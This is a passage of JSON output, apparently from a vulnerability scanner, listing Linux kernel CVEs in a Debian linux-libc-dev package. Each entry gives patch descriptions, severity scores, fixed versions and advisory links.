"oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:59723", "https://access.redhat.com/errata/RHSA-2026:62568", "https://access.redhat.com/errata/RHSA-2026:62638", "https://access.redhat.com/errata/RHSA-2026:62639", "https://access.redhat.com/errata/RHSA-2026:62640", "https://access.redhat.com/errata/RHSA-2026:62641", "https://access.redhat.com/errata/RHSA-2026:62642", "https://access.redhat.com/errata/RHSA-2026:63093", "https://access.redhat.com/errata/RHSA-2026:64767", "https://access.redhat.com/errata/RHSA-2026:65712", "https://access.redhat.com/errata/RHSA-2026:66351", "https://access.redhat.com/errata/RHSA-2026:66370", "https://access.redhat.com/errata/RHSA-2026:66376", "https://access.redhat.com/errata/RHSA-2026:67721", "https://access.redhat.com/errata/RHSA-2026:67723", "https://access.redhat.com/security/cve/CVE-2026-43114", "https://bugzilla.redhat.com/2422696", "https://bugzilla.redhat.com/2432681", "https://bugzilla.redhat.com/2466994", "https://bugzilla.redhat.com/2492095", "https://bugzilla.redhat.com/2492112", "https://bugzilla.redhat.com/2492735", "https://bugzilla.redhat.com/2492747", "https://bugzilla.redhat.com/2492770", "https://bugzilla.redhat.com/2502872", "https://bugzilla.redhat.com/2502889", "https://bugzilla.redhat.com/2507290", "https://bugzilla.redhat.com/2507301", "https://bugzilla.redhat.com/2520980", "https://bugzilla.redhat.com/show_bug.cgi?id=2422696", "https://bugzilla.redhat.com/show_bug.cgi?id=2432681", "https://bugzilla.redhat.com/show_bug.cgi?id=2466994", "https://bugzilla.redhat.com/show_bug.cgi?id=2492095", "https://bugzilla.redhat.com/show_bug.cgi?id=2492112", "https://bugzilla.redhat.com/show_bug.cgi?id=2492735", "https://bugzilla.redhat.com/show_bug.cgi?id=2492747", "https://bugzilla.redhat.com/show_bug.cgi?id=2492770", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2502889", "https://bugzilla.redhat.com/show_bug.cgi?id=2507290", "https://bugzilla.redhat.com/show_bug.cgi?id=2507301", "https://bugzilla.redhat.com/show_bug.cgi?id=2520980", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68211", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52920", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52924", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53131", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64277", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74581", "https://errata.almalinux.org/9/ALSA-2026-59723.html", "https://errata.rockylinux.org/RLSA-2026:59723", "https://git.kernel.org/linus/d3c0037ffe1273fa1961e779ff6906234d6cf53c%20%287.0-rc6%29", "https://git.kernel.org/stable/c/07de44424bb7f17ef9357e8535df96d9e97c40cb", "https://git.kernel.org/stable/c/0abbc43f71d99baadeeba6fa3fe1c80b676f57ed", "https://git.kernel.org/stable/c/1c43f0dd8691ddf8884793b481ddc7511cf593c3", "https://git.kernel.org/stable/c/3d53f9aafd469ae1ea27051e00f5b96ca1b55d52", "https://git.kernel.org/stable/c/c7babe2f28b507e17f28e9f753b7caec72d4857f", "https://git.kernel.org/stable/c/d3c0037ffe1273fa1961e779ff6906234d6cf53c", "https://git.kernel.org/stable/c/f8c39983fc9c1a978c82e6f2df7bfba8a8561587", "https://git.kernel.org/stable/c/fa4f1f52528c73989d820f32bfca06bec5afeece", "https://linux.oracle.com/cve/CVE-2026-43114.html", "https://linux.oracle.com/errata/ELSA-2026-59723.html", "https://lore.kernel.org/linux-cve-announce/2026050626-CVE-2026-43114-5deb@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43114", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43114.json", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-43114" ], "PublishedDate": "2026-05-06T10:16:25.163Z", "LastModifiedDate": "2026-10-19T20:18:06.407Z" }, { "VulnerabilityID": "CVE-2026-43117", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43117", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a345b0c158f3b5c8f1e138dc7beced163587037bf43bed512ba1bd13facbb999", "Title": "kernel: Linux kernel: btrfs filesystem crash via incorrect superblock handling with overlayfs", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: tracepoints: get correct superblock from dentry in event btrfs_sync_file()\n\nIf overlay is used on top of btrfs, dentry-\u003ed_sb translates to overlay's\nsuper block and fsid assignment will lead to a crash.\n\nUse file_inode(file)-\u003ei_sb to always get btrfs_sb.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43117", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/a85b46db143fda5869e7d8df8f258ccef5fa1719%20%287.0-rc6%29", "https://git.kernel.org/stable/c/2e4adfaec97ee053ad1bdfb5036845e66f7e0d8a", "https://git.kernel.org/stable/c/32372781d664a9b03c40343e96c29d0a6139f97d", "https://git.kernel.org/stable/c/4a7bab35fad5251c8cb738161152578cd83b6b9c", "https://git.kernel.org/stable/c/520e8b4bcf872a534a7bf61ccf880047642df296", "https://git.kernel.org/stable/c/a85b46db143fda5869e7d8df8f258ccef5fa1719", "https://git.kernel.org/stable/c/c09a7446aab5773f38d6abb25fce99b8e1dfbc97", "https://git.kernel.org/stable/c/d110d7cdb045715c0b45b0dfd974525bb38f653d", "https://git.kernel.org/stable/c/e252db8ca2a01f82d472091f35d549b313278636", "https://linux.oracle.com/cve/CVE-2026-43117.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050627-CVE-2026-43117-8e20@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43117", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8615-1", "https://ubuntu.com/security/notices/USN-8615-2", "https://ubuntu.com/security/notices/USN-8616-1", "https://ubuntu.com/security/notices/USN-8617-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-43117" ], "PublishedDate": "2026-05-06T10:16:25.513Z", "LastModifiedDate": "2026-10-19T20:18:06.98Z" }, { "VulnerabilityID": "CVE-2026-43125", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43125", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1b87a329d86a18b92a91c70506de3640c1943f6749b681705466fadc48ae1b0c", "Title": "kernel: dlm: validate length in dlm_search_rsb_tree", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndlm: validate length in dlm_search_rsb_tree\n\nThe len parameter in dlm_dump_rsb_name() is not validated and comes\nfrom network messages. When it exceeds DLM_RESNAME_MAXLEN, it can\ncause out-of-bounds write in dlm_search_rsb_tree().\n\nAdd length validation to prevent potential buffer overflow.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-130" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25120", "https://access.redhat.com/errata/RHSA-2026:25121", "https://access.redhat.com/errata/RHSA-2026:25217", "https://access.redhat.com/errata/RHSA-2026:33899", "https://access.redhat.com/errata/RHSA-2026:33900", "https://access.redhat.com/errata/RHSA-2026:34094", "https://access.redhat.com/errata/RHSA-2026:34095", "https://access.redhat.com/errata/RHSA-2026:35844", "https://access.redhat.com/errata/RHSA-2026:35863", "https://access.redhat.com/errata/RHSA-2026:36767", "https://access.redhat.com/errata/RHSA-2026:41236", "https://access.redhat.com/errata/RHSA-2026:55761", "https://access.redhat.com/errata/RHSA-2026:55762", "https://access.redhat.com/errata/RHSA-2026:55763", "https://access.redhat.com/errata/RHSA-2026:55837", "https://access.redhat.com/errata/RHSA-2026:56224", "https://access.redhat.com/errata/RHSA-2026:56225", "https://access.redhat.com/errata/RHSA-2026:59091", "https://access.redhat.com/security/cve/CVE-2026-43125", "https://bugzilla.redhat.com/2440630", "https://bugzilla.redhat.com/2457829", "https://bugzilla.redhat.com/2460641", "https://bugzilla.redhat.com/2461471", "https://bugzilla.redhat.com/2464351", "https://bugzilla.redhat.com/2464449", "https://bugzilla.redhat.com/2467005", "https://bugzilla.redhat.com/2467234", "https://bugzilla.redhat.com/2480457", "https://bugzilla.redhat.com/2482166", "https://bugzilla.redhat.com/2482532", "https://bugzilla.redhat.com/show_bug.cgi?id=2440630", "https://bugzilla.redhat.com/show_bug.cgi?id=2457829", "https://bugzilla.redhat.com/show_bug.cgi?id=2460641", "https://bugzilla.redhat.com/show_bug.cgi?id=2461471", "https://bugzilla.redhat.com/show_bug.cgi?id=2464351", "https://bugzilla.redhat.com/show_bug.cgi?id=2464449", "https://bugzilla.redhat.com/show_bug.cgi?id=2467005", "https://bugzilla.redhat.com/show_bug.cgi?id=2467234", "https://bugzilla.redhat.com/show_bug.cgi?id=2480457", "https://bugzilla.redhat.com/show_bug.cgi?id=2482166", "https://bugzilla.redhat.com/show_bug.cgi?id=2482532", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31581", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43501", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46181", "https://errata.almalinux.org/9/ALSA-2026-25217.html", "https://errata.rockylinux.org/RLSA-2026:25217", "https://git.kernel.org/linus/080e5563f878c64e697b89e7439d730d0daad882%20%287.0-rc1%29", "https://git.kernel.org/stable/c/0270664871616eb3a5c864b9aa17be76fd35b920", "https://git.kernel.org/stable/c/080e5563f878c64e697b89e7439d730d0daad882", "https://git.kernel.org/stable/c/082083c9fbd99422a0370fe2102144a231c9f5d6", "https://git.kernel.org/stable/c/2deafd015ea9a0e75ee5764e20eb1e16bd73efd8", "https://git.kernel.org/stable/c/5f053a2e7209d326cbbc07738fa6d6893d307438", "https://git.kernel.org/stable/c/67288113c5e6cf9e659b4065c0ed6f16100e0c71", "https://git.kernel.org/stable/c/c98d071a1ca903b705316225e47006aaa20e989c", "https://linux.oracle.com/cve/CVE-2026-43125.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050619-CVE-2026-43125-c9f9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43125", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43125.json", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://www.cve.org/CVERecord?id=CVE-2026-43125" ], "PublishedDate": "2026-05-06T12:16:29.45Z", "LastModifiedDate": "2026-10-30T13:18:46.33Z" }, { "VulnerabilityID": "CVE-2026-43128", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43128", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:896d199e0476efc6ff77ecff1f68dda5ccc56e09c6d0efa45a7b51b17a4d7bde", "Title": "kernel: RDMA/umem: Fix double dma_buf_unpin in failure path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/umem: Fix double dma_buf_unpin in failure path\n\nIn ib_umem_dmabuf_get_pinned_with_dma_device(), the call to\nib_umem_dmabuf_map_pages() can fail. If this occurs, the dmabuf\nis immediately unpinned but the umem_dmabuf-\u003epinned flag is still\nset. Then, when ib_umem_release() is called, it calls\nib_umem_dmabuf_revoke() which will call dma_buf_unpin() again.\n\nFix this by removing the immediate unpin upon failure and just let\nthe ib_umem_release/revoke path handle it. This also ensures the\nproper unmap-unpin unwind ordering if the dmabuf_map_pages call\nhappened to fail due to dma_resv_wait_timeout (and therefore has\na non-NULL umem_dmabuf-\u003esgt).", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:19568", "https://access.redhat.com/security/cve/CVE-2026-43128", "https://bugzilla.redhat.com/2394648", "https://bugzilla.redhat.com/2425046", "https://bugzilla.redhat.com/2429602", "https://bugzilla.redhat.com/2432389", "https://bugzilla.redhat.com/2432400", "https://bugzilla.redhat.com/2439852", "https://bugzilla.redhat.com/2439931", "https://bugzilla.redhat.com/2448745", "https://bugzilla.redhat.com/2453803", "https://bugzilla.redhat.com/2454844", "https://bugzilla.redhat.com/2461107", "https://bugzilla.redhat.com/2461521", "https://bugzilla.redhat.com/2467059", "https://bugzilla.redhat.com/2467144", "https://bugzilla.redhat.com/2467771", "https://bugzilla.redhat.com/2477015", "https://bugzilla.redhat.com/2477802", "https://bugzilla.redhat.com/show_bug.cgi?id=2394648", "https://bugzilla.redhat.com/show_bug.cgi?id=2425046", "https://bugzilla.redhat.com/show_bug.cgi?id=2429602", "https://bugzilla.redhat.com/show_bug.cgi?id=2432389", "https://bugzilla.redhat.com/show_bug.cgi?id=2432400", "https://bugzilla.redhat.com/show_bug.cgi?id=2439852", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2448745", "https://bugzilla.redhat.com/show_bug.cgi?id=2453803", "https://bugzilla.redhat.com/show_bug.cgi?id=2454844", "https://bugzilla.redhat.com/show_bug.cgi?id=2461107", "https://bugzilla.redhat.com/show_bug.cgi?id=2461521", "https://bugzilla.redhat.com/show_bug.cgi?id=2467059", "https://bugzilla.redhat.com/show_bug.cgi?id=2467144", "https://bugzilla.redhat.com/show_bug.cgi?id=2467771", "https://bugzilla.redhat.com/show_bug.cgi?id=2477015", "https://bugzilla.redhat.com/show_bug.cgi?id=2477802", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23401", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31532", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31607", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43163", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43284", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46333", "https://errata.almalinux.org/9/ALSA-2026-19568.html", "https://errata.rockylinux.org/RLSA-2026:19568", "https://git.kernel.org/linus/104016eb671e19709721c1b0048dd912dc2e96be%20%287.0-rc2%29", "https://git.kernel.org/stable/c/104016eb671e19709721c1b0048dd912dc2e96be", "https://git.kernel.org/stable/c/40126bcbefa79ea86672e05dae608596bab38319", "https://git.kernel.org/stable/c/70542b69abff34d24b11ae0bb200cc7a766d18df", "https://git.kernel.org/stable/c/b324327ff6f48d8065dca67eb3b91357e72726bd", "https://git.kernel.org/stable/c/ba3bf0f1bf1d5d0404678485e872980532fcc2c4", "https://git.kernel.org/stable/c/d3e32e2f3262f1b25d77c085ace38e2cc4ad75cf", "https://linux.oracle.com/cve/CVE-2026-43128.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050620-CVE-2026-43128-5ff4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43128", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-43128" ], "PublishedDate": "2026-05-06T12:16:29.837Z", "LastModifiedDate": "2026-10-19T20:18:07.677Z" }, { "VulnerabilityID": "CVE-2026-43133", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43133", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8e922927d387563f50df2e71a16dbe0f0ac3f91761fbae0c510c3601312ec0f0", "Title": "kernel: KVM: nSVM: Always use vmcb01 in VMLOAD/VMSAVE emulation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: nSVM: Always use vmcb01 in VMLOAD/VMSAVE emulation\n\nCommit cc3ed80ae69f (\"KVM: nSVM: always use vmcb01 to for vmsave/vmload\nof guest state\") made KVM always use vmcb01 for the fields controlled by\nVMSAVE/VMLOAD, but it missed updating the VMLOAD/VMSAVE emulation code\nto always use vmcb01.\n\nAs a result, if VMSAVE/VMLOAD is executed by an L2 guest and is not\nintercepted by L1, KVM will mistakenly use vmcb02. Always use vmcb01\ninstead of the current VMCB.", "Severity": "HIGH", "CweIDs": [ "CWE-754", "CWE-628" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:H", "V3Score": 7.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:65334", "https://access.redhat.com/errata/RHSA-2026:66180", "https://access.redhat.com/errata/RHSA-2026:66357", "https://access.redhat.com/errata/RHSA-2026:67468", "https://access.redhat.com/errata/RHSA-2026:67469", "https://access.redhat.com/security/cve/CVE-2026-43133", "https://bugzilla.redhat.com/2467065", "https://bugzilla.redhat.com/2468102", "https://bugzilla.redhat.com/2479812", "https://bugzilla.redhat.com/2481936", "https://bugzilla.redhat.com/2482566", "https://bugzilla.redhat.com/2484456", "https://bugzilla.redhat.com/2486463", "https://bugzilla.redhat.com/2486999", "https://bugzilla.redhat.com/2492329", "https://bugzilla.redhat.com/2492811", "https://bugzilla.redhat.com/2492841", "https://bugzilla.redhat.com/2501252", "https://bugzilla.redhat.com/2502394", "https://bugzilla.redhat.com/2510892", "https://bugzilla.redhat.com/2511932", "https://bugzilla.redhat.com/2516731", "https://bugzilla.redhat.com/2517046", "https://bugzilla.redhat.com/show_bug.cgi?id=2467065", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2479812", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2482566", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2486999", "https://bugzilla.redhat.com/show_bug.cgi?id=2492329", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2501252", "https://bugzilla.redhat.com/show_bug.cgi?id=2502394", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://bugzilla.redhat.com/show_bug.cgi?id=2516731", "https://bugzilla.redhat.com/show_bug.cgi?id=2517046", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43493", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46330", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64034", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72129", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74480", "https://errata.almalinux.org/9/ALSA-2026-66180.html", "https://errata.rockylinux.org/RLSA-2026:66180", "https://git.kernel.org/linus/127ccae2c185f62e6ecb4bf24f9cb307e9b9c619%20%287.0-rc1%29", "https://git.kernel.org/stable/c/0004ecb798b30e90d7ebfe74efae2d9423315a64", "https://git.kernel.org/stable/c/10063e1251c1485034a018236080792ad083dcc5", "https://git.kernel.org/stable/c/127ccae2c185f62e6ecb4bf24f9cb307e9b9c619", "https://git.kernel.org/stable/c/3880e331b0b31d0d5d3702b124f6c93539cd478a", "https://git.kernel.org/stable/c/c3b7015000988ba35ecd5648f4b2283960f00543", "https://git.kernel.org/stable/c/d464cf1ed900d47c85393d40b00017b6adfc2e6c", "https://git.kernel.org/stable/c/fce2fd4a2ca05670a91015aacccf96a1c26268fd", "https://linux.oracle.com/cve/CVE-2026-43133.html", "https://linux.oracle.com/errata/ELSA-2026-67468-0.html", "https://lore.kernel.org/linux-cve-announce/2026050622-CVE-2026-43133-ffea@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43133", 